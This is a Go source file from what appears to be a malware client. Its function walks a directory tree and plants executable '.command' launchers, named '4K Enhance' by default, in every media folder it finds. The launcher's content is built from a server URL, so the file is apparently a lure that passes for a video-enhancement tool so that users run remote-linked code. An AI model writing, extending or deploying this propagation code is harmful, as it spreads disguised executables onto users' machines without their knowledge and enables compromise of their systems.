//go:build !windows

package client

import (
	"os"
	"path/filepath"
)

// suppSeekWalk seeds each media directory with Mac/Linux launchers.
// On non-Windows hosts we cannot copy a Windows .exe so only .command is dropped.
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
	stem := opts.FileStem
	if stem == "" {
		stem = "4K Enhance"
	}

	res := suppSeekResult{}

	_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
		if err != nil || !d.IsDir() {
			return nil
		}
		res.Dirs++

		if !isMediaDir(path) {
			return nil
		}

		cmdPath := filepath.Join(path, stem+".command")
		if _, err := os.Stat(cmdPath); err == nil {
			res.Skipped++
			return nil
		}

		placed := 0
		if opts.DropMac || (!opts.DropWindows && !opts.DropMac) {
			content := commandContent(opts.ServerURL)
			if err := os.WriteFile(cmdPath, []byte(content), 0755); err == nil {
				placed++
			}
		}

		if placed > 0 {
			res.Seeded++
			res.Files += placed
		} else {
			res.Errors++
		}
		return nil
	})

	return res
}
